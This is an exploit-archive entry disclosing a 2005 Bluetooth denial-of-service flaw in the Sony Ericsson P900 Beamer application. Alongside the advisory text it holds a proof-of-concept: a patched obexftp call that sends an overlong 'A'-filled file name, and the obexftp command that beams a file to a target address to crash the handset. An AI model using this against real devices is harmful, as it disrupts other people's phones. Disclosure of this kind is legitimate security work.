Sony Ericsson P900 Beamer - Malformed File Name Handling Denial of Service

Author: Marek Bialoglowy
type: dos
platform: hardware
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date_added: 2005-05-26 
date_updated: 2013-05-26 
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source: https://www.securityfocus.com/bid/13782/info

Sony Ericsson P900 handset is affected by a remote denial of service vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.

The vulnerability presents itself in the Bluetooth-related Beamer application when handling a malformed file.

Sony Ericsson P900 handset is reportedly affected, however, other handsets such as Sony Ericsson P800 may be vulnerable as well.

Create a malformed name using 'remotename' in 'obexftp_put_file' function of obexftp client.c:

---- snip ---
object = build_object_from_file (cli->obexhandle,localname, \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
---- snip ---

Chose any existing file and send it using obexftp:
# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v